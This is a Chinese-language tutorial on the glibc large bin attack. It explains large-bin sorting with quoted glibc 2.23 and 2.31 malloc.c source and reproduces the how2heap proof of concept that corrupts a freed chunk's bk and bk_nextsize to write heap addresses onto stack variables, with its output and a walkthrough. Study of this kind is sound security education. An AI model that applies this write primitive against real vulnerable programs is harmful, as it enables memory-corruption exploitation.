Large Bin Attack

Large Bin Attack

在程序malloc时，如果fast bin、small bin中找不到对应大小的chunk，就会尝试从Unsorted bin中寻找chunk。如果取出来的chunk的size刚好满足，则直接交给用户，否则就会把这些chunk分别插入到对应的bin中，32位程序大于504(0x1f8)进入largebin，64位程序大于1008(0x3f0)进入largebin，否则合适的话进入smallbin

largebin比unsortedbin多了 struct malloc_chunk* fd_nextsize;指向比当前小的chunk struct malloc_chunk* bk_nextsize;指向比当前大的chunk

Large Bin的插入顺序

1. 按照大小，从大到小排序,largebin链接最小的chunk
2. 如果大小相同，按照free的时间排序
3. 多个大小相同的堆块，只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块，后面的堆块的fd_nextsize和bk_nextsize均为0
4. size最大的chunk的bk_nextsize指向最小的chunk，size最小的chunk的fd_nextsize指向最大的chunk

2.23malloc.c源码 remove from unsorted list

victim是我们要从unsortedbin分类的chunk

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
    set_inuse_bit_at_offset (victim, size);
    if (av != &main_arena)
        victim->size |= NON_MAIN_ARENA;
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
}

/* place chunk in bin */

if (in_smallbin_range (size)) //判断size是不是属于smallbin
{
    victim_index = smallbin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;//bck的fd存放最大chunk，bk存放最小chunk
}
else//这里开始就是放入largebin
{
    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;

    /* maintain large bins in sorted order */
    if (fwd != bck)//如果相等证明他是这个组里面第一个，不相等说明largebin里有其他的chunk了需要进行比较，维持大小顺序
    {
        /* Or with inuse bit to speed comparisons */
        size |= PREV_INUSE;
        /* if smaller than smallest, bypass loop below */
        assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
        if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
        {
            fwd = bck;
            bck = bck->bk;

            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        }
        else
        {
            assert ((fwd->size & NON_MAIN_ARENA) == 0);
            while ((unsigned long) size < fwd->size)//找一个比当前victim->size要>=的地方链接链接进去
            {
                fwd = fwd->fd_nextsize;
                assert ((fwd->size & NON_MAIN_ARENA) == 0);
            }

            if ((unsigned long) size == (unsigned long) fwd->size)//如果等于
                /* Always insert in the second position.  */
                fwd = fwd->fd;
            else// victim->size > fwd->size
            {
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
            }
            bck = fwd->bk;
        }
    }
    else
        victim->fd_nextsize = victim->bk_nextsize = victim;//fwd != bck)相等证明他是这个大小的组里面第一个直接把fd_nextsize和bk_nextsize指向自己
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

2.31

https://gdufs-king.github.io/2020/05/09/Glibc2.31%E4%B8%8B%E7%9A%84check%E6%9C%BA%E5%88%B6%E5%92%8C%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/

加入了check，只能放比原来的小的chunk了

victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
    /* Or with inuse bit to speed comparisons */
    size |= PREV_INUSE;
    /* if smaller than smallest, bypass loop below */
    assert (chunk_main_arena (bck->bk));
    if ((unsigned long) (size)
        < (unsigned long) chunksize_nomask (bck->bk))
    {//现在的堆块victim比已经存在的chunk(fwd->fd)小，进入这个分支，适合所有版本
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;//fwd->fd->bk_nextsize被我们改成任意可写地址值
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        //漏洞触发点，实现任意地址的fd_nextsize写入堆地址
    }
    else
    {
        assert (chunk_main_arena (fwd));
        while ((unsigned long) size < chunksize_nomask (fwd))
        {
            fwd = fwd->fd_nextsize;
            assert (chunk_main_arena (fwd));
        }

        if ((unsigned long) size
            == (unsigned long) chunksize_nomask (fwd))
            /* Always insert in the second position.  */
            fwd = fwd->fd;
        else
        { {//现在的chunk比已经存在的chunk大，进入这个分支
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//这里可以看到加入了新的check
                //如果我们改了fwd->bk_nextsize的值,那么fwd->bk_nextsize->fd_nextsize就不是它本身fwd了
                malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;
        }
         bck = fwd->bk;
         if (bck->fd != fwd)
             malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
        }
    }
    else
        victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

How2heap large_bin_attack

/*

    This technique is taken from
    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

    [...]

              else
              {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;

    [...]

    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

    For more details on how large-bins are handled and sorted by ptmalloc,
    please check the Background section in the aforementioned link.

    [...]

 */

// gcc large_bin_attack.c -o large_bin_attack -g
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
                    "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
                    " the first large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
                    " the second large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
                    " the third large chunk during the free()\n\n");
    malloc(0x20);

    free(p1);
    free(p2);
    fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
                    " [ %p <--> %p ]\n\n",
            (void *)(p2 - 2), (void *)(p2[0]));

    void* p4 = malloc(0x90);
    fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
                    " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
                    ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
                    " [ %p ]\n\n",
            (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
                    " [ %p <--> %p ]\n\n",
            (void *)(p3 - 2), (void *)(p3[0]));

    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
                    " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
    fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
                    " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
                    " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    //------------------------------------

    malloc(0x90);

    fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
                    " During this time, targets should have already been rewritten:\n");

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    return 0;
}

grxer@Ubuntu16 ~/D/ctext> ./large_bin_attack
This file demonstrates large bin attack by writing a large unsigned long value into stack
In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the targets we want to rewrite on stack:
stack_var1 (0x7fffffffdca8): 0
stack_var2 (0x7fffffffdcb0): 0

Now, we allocate the first large chunk on the heap at: 0x603000
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()

Then, we allocate the second large chunk on the heap at: 0x603360
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()

Finally, we allocate the third large chunk on the heap at: 0x6037a0
And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()

We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x603360 <--> 0x603000 ]

Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x6030a0 ]

Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x6037a0 <--> 0x6030a0 ]

Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers
Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2

Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten:
stack_var1 (0x7fffffffdca8): 0x6037a0
stack_var2 (0x7fffffffdcb0): 0x6037a0

先申请了三个chunk和一些小chunk防止topchunk合并，释放掉前两个chunk

void* p4 = malloc(0x90);

这一步执行时，所有bin没有合适大小的chunk，会发生上面源码里的合并

• 从unsorted bin中拿出最后一个p1放入small bin
• 从unsorted bin中拿出最后一个p2放入large bin
• 从smallbin里分割chunk p1给p4，把剩余部分再次放入unsortedbin

free(p3)

进入unsortedbin

模拟漏洞

修改后

p2->size=0x3f1

p2->bk=stack_var1_addr - 0x10

p2->bk_nextsize=stack_var2_addr - 0x20

!!malloc(0x90);!!

这个时候我们还是会触发上面源码

• 从unsorted bin中拿出最后一个切割p1放入small bin
• 从unsorted bin中拿出最后一个p3放入large bin
• 从smallbin里分割分割过的p1给malloc，把剩余部分再次放入unsortedbin

从unsorted bin中拿出最后一个p3放入large bin这个过程就是我们的利用过程

我们把p2->size=0x3f1可以绕过 while ((unsigned long) size < fwd->size)，来到

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

此时victim为p3，fwd为p2

P3->fd_nextsize = P2

P3->bk_nextsize = P2->bk_nextsize=stack_var2_addr - 0x20

P2->bk_nextsize =P3

P3->bk_nextsize->fd_nextsize = *（stack_var2_addr-0x20+0x20)= *（stack_var2_addr）=P3

来到

bck = fwd->bk;
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

bck=p2->bk

p3->bk=p2->bk

p3->fd=p2

p2->bk=p3

p2->bk->fd=*(stack_var1_addr - 0x10+0x10)=*(stack_var1_addr）=P3

总结

如果我们可以在largebin构造bk和bk_nextsize构造tar1-0x10,tar2-0x20，可以在malloc将unsortedbin里的chunk(这个chunk要比largebin里面的chunk大)写入largebin时在tar1和tar2写入这个chunk的地址